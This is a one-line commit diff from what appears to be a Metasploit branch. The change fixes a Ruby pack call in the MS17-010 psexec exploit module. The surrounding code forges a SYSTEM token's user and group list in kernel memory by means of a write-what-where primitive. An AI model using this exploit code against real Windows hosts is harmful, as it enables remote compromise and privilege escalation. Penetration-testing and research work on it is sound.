fix pack error for xp

MS-2855/keylogger-mettle-extension
zerosum0x0 2018-01-29 07:45:07 -07:00
parent 1a74c60339
commit 6d35d241de
1 changed files with 1 additions and 1 deletions

View File

@ -129,7 +129,7 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(userAndGroupCount, userAndGroupsAddr)
if fakeUserAndGroupCount != userAndGroupCount
#write_data(conn, info, tokenAddr+info['TOKEN_USER_GROUP_CNT_OFFSET'], pack('<I', fakeUserAndGroupCount))
write_what_where(fakeUserAndGroupCount.pack("V"), tokenAddr+@ctx['TOKEN_USER_GROUP_CNT_OFFSET'])
write_what_where([fakeUserAndGroupCount].pack("V"), tokenAddr+@ctx['TOKEN_USER_GROUP_CNT_OFFSET'])
end
#write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
write_what_where(fakeUserAndGroups, userAndGroupsAddr)